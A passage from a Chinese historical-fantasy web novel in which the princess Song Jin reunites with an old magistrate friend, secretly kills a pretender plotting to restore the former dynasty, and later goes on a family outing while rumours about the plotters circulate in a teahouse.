四品。 他发达了,他老肖家的列祖列宗显灵了。 肖仕收拾收拾东西,拖家带口的来到都城,住到了官家给的小院子。虽然院子有些挤,但这可是永安城的院子,是他后续几年的住处,他激动得一脚一脚把院子丈量了,日日给自家老祖宗烧香保佑。 虽然现在也就是第二日。 他还有三天的修整时间,这会儿正拿着香在院子插着,给自家老祖宗,还有死去的恩人首辅烧香。 永安城和泗安县隔着千里,他得到消息的时候,已经是宋商死讯确定,封国公,开恩科的时候了,他也只知道英国公府一众官员出事,再多的,他也打听不到。 虽然恩人被奸人所害,但自己看着长大的小丫头成了恩人之女,又封了郡主,也算是悲伤中的一点安慰。 肖仕其实还是不放心人,但是人现在贵为郡主,又是个小姑娘,他不好上门,至于让他妻子,她身体本就不好,这段时间行路更是艰难,没这个精神。 他想着再休整几日,等后面再打探一下,看看那丫头的态度再说。毕竟他现在也算是乡下穷亲戚,凑上去总不像个事。 “若早知那丫头是您的孩子,我就”肖仕一遍烧纸一遍感慨,感慨着就卡顿了 就算早点知道,他好像也不能做什么。 护着人,那丫头不缺他护,从文渊书院老院长再到回春堂医馆馆长,她都认识,关系也很好,不缺人护着。 金银上,母女俩从头到尾就没缺过钱。 肖仕讪讪烧纸:“也怪我没想到这去,不然也能和你说一说” 他也没见过宋商几面,而且最开始见到宋锦的时候人还小,和宋商也没这般相似,他只是隐隐约约觉得这孩子有几分像自己恩人,没想到这般像。 说到底,还是他没什么用,一想到之前自己还想给人许自家儿子,肖仕一张老脸就火辣辣的疼,也庆幸还好人没答应。 不然他家老祖宗都得出来踹他两脚。 肖仕蹲在地上烧香念叨,一会儿感慨一会儿愧疚一会儿心虚,一脸的褶子变来变去,五分的老脸都变成七分了。 宋锦在左右打听到消息后,翻过肖家院子,坐上他家房顶,就看到这老头在哪里搞封建迷信,她吹了个口哨:“老肖啊,你看看谁来了?” 肖仕蹲在地上,左看右看,空空荡荡,他扯着嗓子:“老婆子,家里来人了?” “来人了你招呼啊,什么都喊我,你来打扫屋子?”肖仕的妻子邹水儿骂骂咧咧地走了出来。 她比肖仕小上两岁,本身也曾是一个温柔似水的小姑娘,但那些年跟着肖仕遇到太多心怀不轨的人,又要照看家里孩子,一点点就变成了个暴脾气。 她身体确实算不得好,生了五个孩子,生老小的时候更是难产,留了不少老毛病,不过这一点儿也不影响她站街头和大家族夫人破口对骂的,也不影响她拿着鸡毛掸子追着家里五个孩子打。 邹水儿骂骂咧咧走了出来,院子空空荡荡,远门紧闭,就自家老头子蹲在一边,哪儿有什么客人啊。 她怒瞪:“你见鬼了啊,哪儿来的客人?” 肖仕:“不是你喊我吗?” 邹水儿:“我喊你个鬼,一天天的,烧了给我自己收拾干净。” 肖仕:“……知道了,你个老婆子,脾气越来越大了,你相公现在可是四品大官。” 邹水儿呵呵:“你就是一品大官,老娘该骂还是骂。” 大衍律法三不休妻,她占了三! 她才不怕这老头子,真惹恼了她,她带着五个儿子 自立门户。 肖仕:“你刚才真没喊我?那我怎么听到女人家的声音?” 邹水儿瞬间怒了,走过去揪着他的耳朵:“好你个肖老九,刚升官就想女人了是吧?你敢给老娘不三不四,老娘就敢让你老二落地。” 宋锦附和:“就是就是。” 邹水儿:“是吧?别以为升官了就了不起,敢有花花肠子,老娘掐死你。” 宋锦强烈支持:“掐死他。” 邹水儿也跟着点头,狰狞:“掐死……” 不对啊。 夫妻俩你看我我看你,迅速转过脑袋,总算看到了那房顶之上,悠然坐着,张扬肆意的少女。 肖仕惊:“宋锦?” 邹水儿惊喜:“金金?” 宋锦见他们总算反应过来了,扬着嘴角,吹了个口哨,从房顶上跳了下来,笑颜如花。 “好久不见了,水姨,老肖。” 邹水儿快步上前,拉着宋锦的胳膊,满脸惊喜:“还真是金金啊,半年不见,瞧这精神的,肯定没吃苦……” 肖仕看着这丫头也很高兴,但是相比起来,更多的还是郁闷,强调:“我现在四品了,四品。” 宋锦悠悠:“是吗?那我还是郡主,过年还和陛下一起看烟火呢,老肖啊,你那会儿在干什么来着?” 比得上她受圣宠吗? 老肖:“……收拾行李。” 他们在泗安县待了六年,一家老小东西不少,收拾起来很麻烦,全扔了换新的又舍不得,一家子围在一起,挑挑拣拣,该带走带走,实在带不走的就卖二手或者送人。 没办法,家里经济,实在是拮据啊。 对比起来,半年不见,宋锦锦衣华服,金玉珠钗,贵气逼人,一看就是富贵人家的大家小姐,一个珠钗都抵他家大半年嚼用了。 肖仕抹了抹眼角:“郡主大驾光临,寒舍简陋啊,委屈郡主了。” “无事,都是老朋友了,本郡主也不在意这些,但是”宋锦笑嘻嘻摆了,随后看着那边烧着的香纸,面色突然严肃了起来,语重心长。 “老肖啊” 肖仕难得见她这般正经,不由也跟着紧张了起来:“怎,怎么了?” 这死丫头要开始秋后算账了? 不就是以前,让她干了些白活,拖欠了些奖励,又,又偶尔吓唬吓唬人让她不要过于张扬。 而已吧? 应该没有什么其他账吧? 宋锦不语,只是这么严肃地看着他,好一会儿,语重心长:“拿水姨的嫁妆炉子烧香,不太好吧?还放在草堆里,万一走水了怎么办?” 邹水儿也才注意到,那边杂草丛中,烟灰之下,是自己从南带到北,又从东带到西的香炉子,她捂着胸口,大吼:“肖仕你个老不死的是不是想死!” 肖仕:…… 这丫头就是故意的吧。 ** 老友相见,甚是想念。 虽然,肖仕想说,他们不是老友,真的不是。 这丫头称自己媳妇儿一口一个姨,称自己就老肖,肖老头,没大没小的死丫头。 肖仕忍不住一口酒闷了下去,在心里痛骂万恶的权势,这丫头以前可都是甜滋滋叫自己肖县令,肖大人,肖叔叔的。 “就知道自己喝,也不知道招呼人,你说你这些年不升职,是不是怪你自己?”邹水儿看他喝酒就烦,忍不住就开始念叨。 “也不看看自己多大人了,还不到五十就跟个老倭瓜似的,喝喝喝,好不容易升官了,喝个两年进棺材了,可真有意思。” 肖仕默默放下酒杯:“难得高兴。” 宋锦夹着菜,不背这个锅:“我可没劝你喝哈,比起酒,你不如喝点苦水,你看看你,眼红盗汗,嘴角起泡,脱发起痘,火气不小啊。怎么,升官了还不开心了?” 肖仕下意识摸摸自己的洗漱的头发,心情沉重:“老了,老了啊,想我年轻的时候。” 宋锦撇嘴:“说得好像谁没见过你年轻时候似的。” 肖仕拍桌:“更年轻的时候,想我二十出头。” 宋锦悠悠:“五战五败,颓废书生,悬梁自尽。” 而邹水儿则是他邻居家小姐,因为守了望门寡,婚事一拖再拖,两个失意的当代大龄剩男剩女就这么凑到一起。 二十来年风风雨雨,一家子团团圆圆健健康康,现在还到了都城,怎么不能算得上咸鱼翻身呢? 肖仕想了想心情畅快,紧接着又倒了杯酒:“再敬郡主一杯。” 宋锦白眼:“想喝自己喝,别拿我当挡箭牌。” 肖仕失笑,虽然还想再喝一口,但是在自家媳妇儿的冷眼下,他默默推开酒,换了杯茶水,消消肚子里的躁火。 他看着宋锦轻松欢快的模样,问:“你娘应该没事了吧?” 若牛铁兰出事,这丫头定然不会这般轻快。 宋锦眉眼弯起:“没什么事了。” 她当初来都城就是为了自家老娘身上的蛊,现在基本解决,没什么比这个更令人高兴的了。 见她这般,肖仕也替她高兴:“那就好,那就好啊。” 宋锦:“我娘还不知道你们过来,等你们休整好了,过段时间大家聚聚。对了,老肖,老刘头还好吧?” 肖仕:“好着呢,就是担心你,你也不知道写个信回去。” 宋锦笑:“有缘自会再见。” 若是见不到了,写信也没什么意思。 肖仕无奈:“没良心的丫头。” …… 两方都是老熟人了,就是粗茶淡饭,他们也吃得开心。 肖仕他们才过来,也没什么根底,宋锦就和他们说着永安城这边的情况,哪些人好惹,哪些人好捏,她还是有些心得的。虽然,她觉得好拿捏的,也只是她觉得好捏。 但说起来,他现在也是上头有人的官了啊。 肖仕心中唏嘘,手上龙飞凤舞,要把提到的人都记下来,免得日后碰到了只能抓瞎。 宋锦看他这般认真,零零散散说了一些之后,嚼着果脯,道:“这样吧,我家里二哥现在也不上值,改明我介绍你们认识,连带着严盛一起,你们可以多问问他,他脾气好。” 肖仕面上一喜,嘴上推辞:“这多不好意思啊。” 宋锦:“我不吃这套哈,一会儿真不介绍了。” 肖仕没好气:“你这丫头,忒不讲理了。” 宋锦嚼嚼,强调:“是郡主。” 肖仕:“是是是,郡主,多谢郡主提点。” 宋锦笑嘻嘻的,很是受用。 两个人就这么打着岔,又说起来泗安县那边的事。 “你们走后,县里又严查了几次,各家都缩着脑袋过日子,不过宋大人他们只是查梁家的事,揪了些人出来,再深的,水至清则无鱼,只要不过分,还是睁一只眼闭一只眼,将就着过了……” 肖仕说着说着,神色突然一黯,道:“还记得老罗吧?他死了。” 宋锦抿了抿嘴,想到那个地道里和自己拔剑相向的大哥哥,心情也有些复杂。 泗安县那么多衙役,她和罗衙役的关系是最好的。 可惜了。 她抿了抿茶,轻声:“死得痛快吗?” 肖仕叹气:“痛快,我本来,是想他流放的,日子苦点,也能捡一条命,可惜了,他最后自尽了。” 宋锦垂眸:“这样啊,也算死得其所吧。像他们这些人,死了倒是比或者舒坦。” 从小就被洗脑的死士,就算活着,也不知是为谁而活。 肖仕摇了摇头,也有些唏嘘。 罗衙役,也是他最看好的衙役,本来是打算让他后面接班巡检的,可惜了,也庆幸还没有。 想到这儿,肖仕突然想起了什么,站起身来:“你先坐一会,我去找个东西。” 他匆匆忙忙跑了。 宋锦喝着茶水,思绪还落在死去的罗衙役上。 要说多难受也不至于,人是她抓的,筋骨也是被她挑的,他的死讯,并不意外。 只是到底还是有些烦闷。 人命这玩意儿,最值钱,也最不值钱。 “找到了,还好没弄丢。”肖仕又匆匆跑了回来,手上拿着个熟悉的锦囊,他递了过来,小声,“这是老罗死前给我的,让我还给你,他说小姑娘家的锦囊别乱扔,会被坏人利用的。” 宋锦接了过来,打开,看着里面鼓鼓囊囊的糖块,捻起其中最大一块,看着被糖块模糊的字迹,眼睛微眯,指尖轻轻用力,糖块碎成渣渣。 她嗤笑一声:“都死了还讲究这些。” 什么赤胆忠心、以身殉国的,她懂,她就是很不爽。 肖仕叹气:“老罗那人就这样,我本想替他敛了衣冠冢,后面想想,他生来就被困着,不如就着河流,得他的自由。” 宋锦啧啧两声,目光诡异地看着肖仕:“你可真会选,他是个旱鸭子啊,最怕水了。” 肖仕:…… 宋锦又哈哈一笑,接着手中香囊放入袖兜,站了起来:“天色也不早了,今日就说到这吧,肖叔你和水姨好好收拾,有什么事就去宋府找我,我不在随便找谁都可以,别见外。” 肖仕再次强调:“我可是四品官员,能有什么事?” 宋锦意味深长:“那可不好说,梁家的人,还没抓完吧?” 肖仕打了个哆嗦:“不至于吧?皇城脚下。” 宋锦轻哼:“眼皮子底下,才更容易灯下黑,反正夜里注意点,白日也别去太偏僻的地方。你在这人生地不熟的,主动找上来的人,没什么好事。” 肖仕搓着胳膊:“我一个老头子,不至于 吧?” 他都是熬过来的,又不是什么前途无量的年轻人。 宋锦耸了耸肩,没有多说什么,只是当着他的面,就这么轻松翻过墙院,潇洒离开。 肖仕苦大仇深地看着那不算矮的院墙,咬着牙:“媳妇儿,你说咱家要不还是买条狗吧。” 邹水儿难得没有反驳,和他站在一起看着院墙,若有所思:“要不再种点毒草?” 肖仕:“再挖点陷阱?” 邹水儿:“削点尖刺累上?” 夫妻俩你看我我看你,拍拍手,说干就干。 认怂不可怕,小命最重要。【你现在阅读的是 】 【终章】 第141章 只需要一个皇帝 午间时候 一家三口坐在小院里,四四方方的桌上布着六菜两汤,便是许多人家过年都凑不齐这般菜色,却是她们再日常不过的一餐。 人这一辈子,也就为了这些奋斗。 牛铁兰不喜吃肉,前些年为了养身体吃了太多肉食了,她更喜吃素,尤其是现在冬日刚过,一把脆嫩的小青菜别提多新鲜了。 相比起来,宋锦就纯肉食动物,坐在那儿,一片菜叶子嚼半天嚼不下。 母女俩形成鲜明对比。 曲茂泽倒成了最正常的人,肉也吃得,菜也吃得,吃着吃着,碗里总会多些肉和菜,他也不语,只是慢条斯理将其吃完,再夹予她们。 荤素搭配,身体安康。 他一袭白衣,端坐在桌边,脊背挺直却又松弛自在,衣袍轻束,沿着身前的菜色轻夹,吃饭的动作很是文雅,细嚼慢咽,看上去翩若君子,朗朗如月。 宋锦坐在对面,一只手撑着下巴,另一只手一只手捏着陈旧带着血渍的香囊,她有些心不在焉地嚼着根菜叶子,一双凤眸似淬了星火,比起往日还要浓烈几分。 良久,她回过神来,问:“前朝,是什么样的?” 夫妻俩齐齐一滞,看向了她。 牛铁兰放下碗筷,杏眸染上复杂:“怎么问起了这个?” 若说起前朝,她就是很典型的受害者。 狗皇帝只管自己潇洒快活,无所谓百姓死活,下面便也跟着无所畏惧,层层溃败,腐败不堪,多的是为了讨好人就能灭一家的人。 也是因为这,便是他们知道于家罪行,也不能因此而发作——前朝怨恨,新朝散,若真溯源到底,朝堂上又是一阵动荡,苦的也只是底层百姓。 他们只能搜新朝新法下的证据,重新整治。 当然,想要了结私怨,悄悄派人灭口解恨也行,这个年头,太多无头无尾的事了,有时候上面也不是一定要寻根溯源。 但是于家到底不是普通家族,闹大了也不好。 更何况,人死,并不代表怨散,相比起直接抹去一座高楼,牛铁兰和阮东林这对父女很默契的,都更想看高楼垮,看高楼碎,看高楼连着城池,一起湮灭堕败。 宋锦,则喜欢前者。 母女俩在各方面,都很不相同,一个柔韧似水,以柔克刚,重重包围;一个坚硬如钢,横冲直撞,横扫一切。 所以牛铁兰不打算和宋锦说储家的事,除了当家长固有的扛事思想,就是真的嫌弃人搞事方法,不打算与之同谋。 宋锦就是直肠子直性子,所以现在突然问起来,当娘的就知道她要搞事了。 牛铁兰瞥着她:“你又要碰着什么事了?” 宋锦捏着锦囊,嘟囔:“跟你说了也不懂,你们先回答我的问题啊。” 前朝,到底是个什么情况呢? 宋锦出生的时候,新朝已经建立四五年了,虽然经济上还未恢复,但是政治上已然有序,便是有些败类人渣,但是律法严苛,大面上还是看得过去,循规蹈矩,条理分明。 而人啊,命如草芥,却也如野草一般坚韧,有点春雨,就遍地丛生,短短几年,便铺满大地,藏住前朝过往的溃腐,发起新芽。 宋锦不太能想象前朝的情况,毕竟,她上辈子所在的末日,势力交错,大佬林立,谁想要说一不二,一道令下,由上自下便跟着顺从。 一般得在梦里面才能找。 末日武力为尊,而有武力的人,就别想人能多听话。 就像宋锦。 上辈子任务该做还是做,但想她全程顺着走一二三走,基地领导谁都不敢做这个梦。 所以宋锦很难想象,竟然会有人在一片快乐的清闲日子中,怀念从前当小弟的日子,要去出血出力,甚至出命,就为了那奴役自己的主子过得更好。 委实病得不轻。 宋锦不理解,换做她,不弑主都对不起她吃过的苦。她疑惑地看着自家老娘,试图找找其中逻辑。 牛铁兰对着她明亮的眼眸,虽然觉得她应该没想什么好东西,但思索了一会儿,还是说道:“前朝啊,我印象最深的,是有一个县,因为闹蝗灾,粮食本就颗粒无收,上面不仅不赈灾,还任由下面加收赋税,害得万人卖儿卖女,饿死病死,瘟疫爆发,最后几十万人四处逃难。” 这还是她在女园时候听说的,当时他们说这些,是为了让她们安分下来。毕竟若没有女园,她们也可能是那些受苦的人一员,而不会在园里吃好喝好。 但牛铁兰当时是怎么想的呢? 她想,若不是有女园这么些人,这世道也不能乱成这样,若多些君子侠客,反了这天下,灭了这些混蛋,世道应该就不一样了。 也确实不一样了。 牛铁兰有些感慨:“虽然大衍现在也有颇多问题,但和前朝对比,那就是天上天上宫阙,天差地别,咱们陛下,实在圣明。” “就只有陛下圣明”曲茂泽咽下食物,放下碗筷,眸子盯着她,勾着嘴角,声音悠悠,“只他一人厉害?” 牛铁兰:…… 曲茂泽噙着笑:“礼台州干旱连连,又逢蝗虫过境,部分县区颗粒无收,当地官员趁火打劫,试图侵占多余土地,便加收赋税,最终,引得当地百姓爆乱,在宋姓少年带领下,占据县城府州。只可惜,并无多余粮食,又爆发瘟疫,于是北寻,最终到了北地齐家,开启了大衍的新篇章。” 宋锦嘴角一抽,就听他缓缓补充:“这也是宋商首辅路的开始。” 母女俩一言难尽地看着他,齐齐:“不要脸。” 曲茂泽笑:“不是这样吗?外面茶楼都这般说。” 宋锦给了他个白眼,不客气地补充:“后面还得加上,也是他居功自傲、不可一世的主因,感谢陛下圣明,若不然,就他这般奸臣,早早就该被流放岭南漠北。” 曲茂泽挑眉:“那不是回老家了?” 母女俩齐齐白眼。 这人别的不说,脸皮是真的厚啊。 曲茂泽见母女俩如此,低低笑了两声,又喝了口汤,悠悠开口:“前朝,正常人听了都要呸上两口,你往路上立一个前朝墓碑,没两天就能踏成坑。但是,你要是立一个碑牌,上面写着复前朝,灭大衍,那总要蠢货忍不住加一个。” “毕竟,成功了就是国公侯爵,又能为祸百姓,当人上人,多划算。至于失败,烂命一条,蠢货可想不到这么多。” 简明扼要。 宋锦恍然。 这也是,对于正常人来说,前朝不干人事。对于烂人来说,前朝就是天堂,又能为非作歹欺压百姓,又能称王称霸,满足虚荣。 不过了解归了解,宋锦还有一个问题,她捏着锦囊:“那,若真有人想要恢复前朝,又当如何?” 曲茂泽轻轻一笑,指着一旁的海棠花道:“两月前你还抱着海棠花不放,现在你还想抱吗?” 宋锦看去,海棠花已经凋谢得差不多了,七零八落,她哪儿会想抱啊,就算真喜欢,那也是下一年的海棠花了。 她一顿,嘟囔:“好像还真没听说过复国成功的例子。” 曲茂泽扬着唇:“国家兴旺更替,天时地利人和缺一 不可,哪儿可能随随便便,你想亡就亡,想复就复的?阴沟里的老鼠,又能掀起什么风浪?” 宋锦撇嘴:“那也不好说,老鼠多了,成鼠疫可麻烦了。” 曲茂泽看着她这模样,怎么看怎么觉得可爱,不愧是自己的崽,他抚着下巴,轻笑:“那就自有人去操心了。” 宋锦给了他个大大的白眼,收起锦囊,也收起闲散的心思,端起碗就大口大口吃了起来。 一桌子饭菜不少,但是父女俩都是大胃口的人,每次都能吃个干干净净。 见她恢复胃口,曲茂泽勾勾唇角,也重新端起碗筷,看向蹙着眉头,眼带忧虑的牛铁兰,轻轻摇了摇头。 孩子大了,当父母的哪里能事事都管在手里? 牛铁兰抿了抿唇,开始心不在焉地吃了起来。 ** 夜深。 吱呀一声,紧闭的房门轻轻打开。 宋锦换上漆黑的夜行服,脑袋也用黑布包着,只露出一双狭长的凤眸,在此之上,她手上还拎着个面具,往脑袋上一挂,那是谁也不认。 她个头高,稍作掩饰,站在那儿就是个男儿模样,走起路来,大步流星,大摇大摆,怎么看怎么是个稍微瘦弱些都儿郎,很难和女子对上号,更别说是一朝郡主了。 她仰着下巴,就这么朝外走去,目不斜视。 “咳”曲茂泽站在院门下,憋着笑,轻轻一咳。 宋锦面上的平静被打碎,她狠狠一瞪,磨着牙:“小心我杀人灭口。” 曲茂泽低低笑着,然后伸出了手,在她警惕的目光下,手掌张开,手心是一只类似甲壳虫的金虫,浑身金黄,宛如黄金,金灿灿的。 他笑:“小金虫,捏肚子会放出特殊味道,便是有特殊手段,也难以追踪。” 宋锦一把抓过小虫捏在手心,抬眸看着他:“就这?” 曲茂泽靠在墙上,嘴角微扬:“早点回来,不然你娘肯定睡不着觉。” 宋锦撇嘴,嘀咕:“管这管那儿的,烦死了。” 曲茂泽含笑看着她,一言不发,就这么挡身前。 好一会儿,宋锦挪开眼:“知道了,我又不傻。” 曲茂泽笑了笑,伸出手轻轻摸了摸她的脑袋:“去吧,注意安全。” 宋锦压着嘴角,仰起脑袋,轻哼一声,随后飞上墙头,像是夜鹰一般,很快便没了影子。 她这次的目标,是储家。 老罗是个好衙役,但不是好朋友,也,说不上好下属。 他曾为了主子和宋锦刀剑相向,却又在死前和亲主割裂,暴露其人身份。 傻得不行,让人又恨又怜。 他们这些人的一生,他们的命,像是风筝一样,一辈子束在别人手里,断了线,也被风裹挟。 人生最后之际,老罗也在纠结中离开。 他一面担心主子,不敢写得太清楚,一面又不放心宋锦,连着留了好几个名字,其中几次出现的,就是储承安三个字。 与此同时,还有他的另一个名字。 瞿成安。 瞿是前朝国姓,前朝老皇帝荒淫,又忌惮自己孩子夺位,后面杀了好几儿孙,留下些幼儿弱子,虽然在新朝建立后,陆陆续续死在流放地路上。 但有一个两个漏网之鱼很正常。 小鱼小虾靠自己也掀不起风浪,可如果身后还藏有大物,就说不准了。 宋锦不管那么多,总归,不想当将军的士兵不是好兵,那不想当皇帝的野心家也是怂货,什么年头都少不了这样的人,只要不犯到她手上关她屁事。 前提是不犯到她手上啊。 老罗留下的东西算不得证据,但宋锦又不是什么正经衙役督查,还真得罪证确凿才行动。 她熟门熟路地踩在房顶院墙之上,绕过巡逻的士兵衙役,一如既往地当着法外狂徒,就这么到了储家的地盘。 相比较岐王府的大学水平守卫,这儿的守卫就是幼儿园水准,虽然那藏头露尾的园长有些东西,但是谁拐孩子会跑到园长面前拐? 她宛如泥鳅一般,轻手轻脚钻入了人的房门。 储承安已经睡下,他皮肤白皙,俊逸飘然,是个十足的美男子,就是身体确实不好,肤色苍白,应该是心脏有点问题,但是好好注意着,按照他的家世地位,正常生老病死还是没有问题的。 可惜了啊。 宋锦抱着手,看着躺在床上的人,从锦囊里掏出药粉,往人嘴里一倒,就坐在一边等待。 等到时间差不多了,她上前把人摇醒。 储承安迷迷糊糊之下,见到自己身披黄袍,坐在皇位上,整个大殿空无一人,他最信任的叔父跪在自己脚边。 他内心一片激动,但是面上稳住:“叔父,我们成功了。” 叔父‘储邵’也跟着笑:“我们成功了,陛下,天下就是你的了。” 储承安谦逊:“叔父说这些可太见外了,若没有您,哪儿有我的今日?这天下,是我们叔侄的。” ‘储邵’感动:“陛下,我就知道助您是对的,这天下,是瞿家的天下,您就是天下之主。宋锦那贱丫头已经关入大牢,您要怎么收拾她?” 虽然转折有些突兀,但是一想到那个拒绝自己求亲,看不起自己的女人,他狰狞一笑:“她不是喜欢身体好的吗?把她武功废了,丢去做军妓,让她千人睡万人踩……” ‘储邵’微笑:“这就安排。” 就这深仇大恨,他不死谁死。 她捏着拳头,又问:“天下已成,您看这封侯升官的事该如何安排?那些忠心耿耿的将士们还等着你下旨呢。” 这个场面,储承安已经等了太久太久了,他终究还是压不住脸上激动,想也不想地说道:“叔父您待我如生父,便封康王,家中兄弟姐妹,虽然没出什么力,就当侯爷郡主吧,申将军卧薪尝胆,封忠勇侯,至于梁家的蠢货,暂时动不得,他们既然缩在云卢府,就勉勉强强封个云卢侯安抚,等后面再收拾……” 他全程不带一点犹豫,根据自己知道的功绩,把每个亲人部下安排得一清二楚。他看着自家叔父的惊色赞叹,那目光像是看着什么绝世人才一般,他便更是起劲了。 看,叔父总是把自己当小孩子,就连他读书科考都要一压再压,现在知道他不是孩子了吧? 他知道好坏,也知道自己该做些什么。 前朝旧怨,家仇国恨,为了复国,储承安这些年心中压抑太多,每日小心翼翼,只能在梦中放肆,现在,梦想成真。 储承安高兴之余,又有些疲累困乏,说着说着,就闭上了眼,声音喃喃:“叔父,我们成功了……” “也算是成功了。”宋锦看着他闭上的眼,手心放在他的心口,内力宛如冲波,震碎其中心脉,她叹着气收回手,微微一笑,“起码在梦里是成功的。” 这么无声无息的死去,真是便宜他了。 算了,看在老罗的份上。 宋锦轻喃:“老罗,你们就在底下团聚吧,等过些天,其他人也会来陪你的。” 这也算是她这个老朋友的一点心意了。 她站在床头,看着这个旧日皇子彻底没了生气,这才转身回去。 成王败寇,这个天下,只需要一个皇帝。 现在就很好。 第142章 春日兰 “哎哎哎,你们听说了没有?” “是不是储家那位?” “没想到啊没想到。” …… 茶楼里,外面坐着的人三五几个坐成一桌,听着说书先生的故事,也自己窸窸窣窣地说着。 宋锦他们旁边就是几个人高马大的武师,几个人敞着胸口,端着酒杯大口喝酒,神神秘秘地说了起来。她听了一耳朵,听到个储字,心想这几个人消息传递得可真够慢的,储承安那家伙都死了一个多月了。 他本就身体不好,又死于心疾,当 夜无声无息,没有半点可疑的,便是储家再是不甘痛苦,也只能以并发将其下葬。 当然,根据他那日的说法,储家储邵之外,其他人应该是不知他的身份的,他们不甘的是家里好不容易出了个探花,大好前途就这么没了。 毕竟他们家年轻一辈都没两个有出息的。 至于储邵,宋锦充分相信他这几年在外就是在挑拨离间,招惹是非,把事情说给曲茂泽之后,就没再掺合这件事了。 人都不在都城,她想杀也没法,专业的事还是交给专业的人来吧。 她照旧吃吃喝喝,到处乱窜,大部分时间是她一个人出门,有时候带着亲娘,偶尔也会拉着对象,非常非常少见,但也会有一群人出来的情况。 今日便是。 三月初头,风和日朗,难得的踏青好时节。 宋锦约着齐铮,又拉起老娘,屁股后面再跟着个曲茂泽,四个人就这么出门了。他们走了一路,随便找了个茶楼歇息,里面鱼龙混杂,很是热闹。 宋锦坐在长凳上,喝着淡淡的茶水,竖着耳朵听着周围八卦,就听旁边一群人神神秘秘之后,终究说到了正题。 “哎,你们说是不是真的?” “我感觉像,不是真的能这么离谱?” “这谁能想到啊,大名鼎鼎的储儒士,竟然会喜欢梁王那种人物,唉,只可惜,有缘无分。” …… “噗”宋锦一口茶水直接喷了出去,撒在对面的人身上,她也被呛了个够。 牛铁兰在她旁边,下意识拍着她的后背,而后才反应过来,蹙起眉看向旁边。 齐铮端正坐在那儿,桌前一滩水,难得穿一次的浅色衣服也沾着水,脸上也溅了几滴,对于太子,甚至王爷,乃至普通人家少爷都是很冒犯的事,他面色不变,眉头不眨,反而淡定地拿起手绢递了过去 “没事吧?” 宋锦摆手摇头,接过手绢捂着嘴咳,鼻子嗓子酸呛,有些难受,不过也但是耳朵还是竖了起来,继续听着哪些人说话。 其中头发削了一半,只到腰间,敞着胸口脚踩凳上的糙汉,用着最细腻的语言感叹:“郎情妾意,只可惜立场不对,梁王那混账玩意儿,草菅人命,也不知道储儒士看中他什么了,竟然一路相随这么多年。” 旁边的人戴着个佛珠:“非也,梁王品行虽然不行,但是王侯将相,宁有种乎,他仪表堂堂,威武雄壮,实乃枭雄。” 再一人嚼着花生米:“也只能这么想了,储儒士实在情深,这些年为了追随梁王一直在外,现在更是为其牺牲,死前都没个名分。” 佛珠男又嗤笑:“梁王那些年害了这么多人,谁知道有没有储邵的手笔,儒士学士族,我看是一丘之貉。” 糙汉男依旧感慨:“抛开其他不说,这难道不是爱情吗?” 爱你麻花的爱情。 宋锦下意识就想到了这句末日也很经典的言论。 她顺了顺心口,又端起茶杯喝口茶压压惊,小眼神不自觉地瞄向了曲茂泽。 什么情不情爱不爱的,要说没有这人手笔,那一定就是世道疯了。 对此,曲茂泽只是轻笑一声,递了块草糕过来:“小心点吃,别噎着了。” 宋锦啃草饼,确定就是这人干的。 杀人诛心,搞政治的人心最黑了。 她觉得,储邵宁愿被五马分尸而死,也不愿死后还被乱七八糟的情色消息缠身,尤其是和他配对的还是梁王这种五大三粗的叛徒。 不过,辱人者人恒辱之。 她死鬼爹这些年在外这么多乱七八糟的负面消息,也多半是这人的手笔,现在只还他一个,也是他赚了。 不过,既然储邵和梁王的消息都传到这边来了,就说明两个人也被收拾得差不多了,她这死鬼爹别的不说,干事效率还是很快的。 不怪乎他这些年被那么多人嫉恨,这是根本不给人表现的机会啊。 宋锦啃着草饼,听着几个武夫感叹着储家的爱恨情仇,感叹着储邵东专情,感慨他这些年在外原来不是为了儒学,而是为了爱情。 她觉着,若是真有鬼混存在,储邵这会儿人已经气得头发直立,恨不得原地复活了。 想到这,她噗嗤一笑。 茶馆的人太多了,这边说这个,那边说那个,牛铁兰的注意力还在说书先生说的战役上,见宋锦一会儿喷水一会儿傻笑的,很是无语。 “傻兮兮的,也不知道随了谁。” 曲茂泽耳听八面,一副君子悠然模样,含笑坦然道:“应是随我。” 女儿随爹,千年规律,没毛病。 牛铁兰嗔:“吃你的吧。” 曲茂泽轻笑一声,继续吃着草饼,感受着周围的热闹局面,心中颇有感慨。 这以前,他哪儿想到人还能这般过日子啊。 一行人就坐在茶馆里,听着说书先生把故事说话,留下打赏的钱,才慢悠悠地离开。 茶楼外面,两辆简单的马车低调地停在那儿。 宋府一架,岐王府一架。 宋锦冲着自家娘亲死鬼爹挥了挥手,拉着齐铮走上了岐王府的马车。 大摇大摆的,一点儿也不拿自己当外人。 牛铁兰无奈:“这丫头。” 曲茂泽笑:“孩子多懂事啊,给我们腾位置呢。” 牛铁兰抬脚踩人,眼光嗔人:“给我好好说话。” 曲茂泽拉着她的胳膊,轻笑:“上车吧,这儿过去山里还有两刻钟,可以躺一下。” 她前日才种了蛊,身子正是虚弱时候,按理来说应该好好休养才是。 但是,今日天气实在是太好了。 昨日春雨靡靡,将天空净洗一番,蔚蓝一片,像是洗涤好的锦缎,上面云朵绵绵,大片大片地铺在上面,清风抚过,轻缓和顺,带着馥郁花香。 枝头燕雀飞过,叽叽喳喳。 这么好的天气,不出门实在很是浪费。 牛铁兰靠在窗边,掀着帘布看着外面,暖洋洋的阳光撒在她身上,白皙的脸蛋上绒毛清晰可见,她的皮肤细腻如玉,眸光清亮,看着可真不像三十出头的人。 她撑着下巴看着外面的风光,殊不知自己也成了风光。 一只蝴蝶飞过车窗,她伸出手左右捉弄,好一会儿才将其抓住,眼中闪过欣喜,扬着唇角,捏着蝴蝶转头,正对上曲茂泽含笑的目光。 牛铁兰不太自在:“看什么?” 曲茂泽轻笑:“夫人常常说我装年轻,在我看来,夫人似乎更胜一筹。” 他的脸到底是假的,不像牛铁兰,和十来年前相比,长相其实并没有什么变化,看上去依旧嫩得可以掐出水来,只是多年的内敛自持,让她举手投足间藏不住淡雅稳重,让她和寻常年轻人区分开来,像是藏于山间的幽兰。 淡雅清幽,也馥郁浓烈。 牛铁兰却以为他在说自己抓蝴蝶的举动幼稚,嗔了人一眼,把蝴蝶放掉。 靛蓝色的蝴蝶颤动翅膀,一点点离开她的手心,在马车内飞舞。 曲茂泽轻轻抬手,蝴蝶便像是见了花一般,轻轻转了个方向,落在了他的指尖,他噙着笑,靠坐在那儿,悠然自得,就这么看着她。 明明一句话不说,牛铁兰耳根却不由发烫,想说点什么,都觉得不合适,干脆闭上眼,靠在一边小憩。 